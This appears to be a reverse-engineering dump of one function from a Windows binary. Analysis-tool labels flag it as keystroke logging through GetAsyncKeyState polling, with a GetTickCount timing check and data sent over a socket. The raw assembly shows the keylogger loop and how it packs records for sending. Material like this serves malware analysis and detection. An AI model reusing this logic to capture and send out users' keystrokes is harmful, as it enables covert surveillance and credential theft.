Function at 0x10004500
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
push ebx
push esi
mov esi, ecx
mov dword [esp + 0x10], edx
push edi
mov edi, dword [sym.imp.WS2_32.dll_send]
mov dword [esp + 0x10], esi
nop dword [eax]
xor bl, bl
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001947c], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1001947c]
mov ecx, dword [ebp + 8]
cmp eax, ecx
ja 0x1000476a
test bl, bl
jne 0x1000476a
push esi
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
je 0x10004706
mov eax, dword [0x10019474]
inc eax
mov dword [0x10019474], eax
cmp eax, dword [esp + 0x14]
jl 0x10004753
mov eax, dword [0x10019480]
inc eax
mov dword [0x10019480], eax
cmp eax, 2
jne 0x10004622
cmp byte [0x10019488], bl
je 0x10004614
cmp dword [0x10019534], 0
je 0x10004614
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
mov eax, dword [esp + 0x10]
cwde
push 0
push 0x14
mov dword [esi + 4], eax
mov eax, dword [0x10019480]
push esi
push dword [0x10019534]
mov dword [esi + 8], eax
mov eax, dword [0x10019474]
mov dword [esi], 0xa4161487
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], 0
call edi
cmp eax, 0xffffffff
jne 0x100045f3
push 0
push 0x14
push esi
push dword [0x1001948c]
call edi
cmp eax, 0xffffffff
je 0x100048c4
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [esp + 0x14]
add esp, 4
cmp dword [0x10019480], 2
jne 0x10004614
mov dword [0x10019480], 0
mov byte [0x1001948a], 1
mov bl, 1
jmp 0x10004753
cmp eax, 1
jne 0x10004753
cmp byte [0x10019488], 0
je 0x100046c0
cmp dword [0x10019534], 0
je 0x100046c0
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
movsx ecx, ax
push 0
push 0x14
mov dword [esi + 4], ecx
mov ecx, dword [0x10019480]
push esi
push dword [0x10019534]
mov dword [esi + 8], ecx
mov ecx, dword [0x10019474]
mov dword [esi], 0xa4161487
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], 0
call edi
cmp eax, 0xffffffff
jne 0x1000469f
push 0
push 0x14
push esi
push dword [0x1001948c]
call edi
cmp eax, 0xffffffff
je 0x100048c4
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [esp + 0x14]
add esp, 4
cmp dword [0x10019480], 2
jne 0x100046c0
mov dword [0x10019480], 0
lea ecx, [esp + 0x38]
mov byte [0x1001948a], 1
call fcn.100012a0
mov ecx, dword [esp + 0x3c]
cmp ecx, 0x7ffffffd
jg 0x100047cf
mov eax, dword [esp + 0x38]
jl 0x100046f1
cmp eax, 0xabf41bff
jae 0x100047cf
add eax, 0x540be400
mov dword [esp + 0x20], eax
adc ecx, 2
mov dword [esp + 0x24], ecx
jmp 0x100047df
lea ecx, [esp + 0x30]
call fcn.100012a0
mov ecx, dword [esp + 0x34]
cmp ecx, 0x7fffffff
jg 0x1000473a
mov eax, dword [esp + 0x30]
jl 0x10004728
cmp eax, 0xff67697f
jae 0x1000473a
add eax, 0x989680
mov dword [esp + 0x18], eax
adc ecx, 0
mov dword [esp + 0x1c], ecx
jmp 0x1000474a
mov dword [esp + 0x18], 0xffffffff
mov dword [esp + 0x1c], 0x7fffffff
lea ecx, [esp + 0x18]
call fcn.10001970
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [0x1001947c]
mov ecx, dword [ebp + 8]
cmp eax, ecx
jbe 0x10004544
mov eax, dword [0x10019474]
add eax, 0xffffffec
cmp eax, 0x14
ja 0x100048bd
cmp ecx, 0x7d0
jg 0x100048bd
mov eax, dword [0x10019470]
cmp eax, 4
je 0x1000481f
inc eax
lea ecx, [esp + 0x40]
mov dword [0x10019470], eax
call fcn.100012a0
mov ecx, dword [esp + 0x44]
cmp ecx, 0x7ffffffd
jg 0x100047f7
mov eax, dword [esp + 0x40]
jl 0x100047bd
cmp eax, 0xabf41bff
jae 0x100047f7
add eax, 0x540be400
mov dword [esp + 0x28], eax
adc ecx, 2
mov dword [esp + 0x2c], ecx
jmp 0x10004807
mov dword [esp + 0x20], 0xffffffff
mov dword [esp + 0x24], 0x7fffffff
lea ecx, [esp + 0x20]
call fcn.10001970
mov dword [0x10019474], 0
jmp 0x10004520
mov dword [esp + 0x28], 0xffffffff
mov dword [esp + 0x2c], 0x7fffffff
lea ecx, [esp + 0x28]
call fcn.10001970
mov dword [0x10019474], 0
jmp 0x10004520
cmp byte [0x10019488], 0
mov dword [0x10019480], 2
je 0x100048b6
cmp dword [0x10019534], 0
je 0x100048b6
push 0x14
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
add esp, 4
mov esi, eax
mov eax, dword [esp + 0x10]
movsx ecx, ax
push 0
push 0x14
mov dword [esi + 4], ecx
mov ecx, dword [0x10019480]
push esi
push dword [0x10019534]
mov dword [esi + 8], ecx
mov ecx, dword [0x10019474]
mov dword [esi], 0xa4161487
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], 0
call edi
cmp eax, 0xffffffff
jne 0x10004899
push 0
push 0x14
push esi
push dword [0x1001948c]
call edi
cmp eax, 0xffffffff
je 0x100048c4
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
cmp dword [0x10019480], 2
jne 0x100048b6
mov dword [0x10019480], 0
mov byte [0x1001948a], 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, 2
call fcn.1000e8c0
int3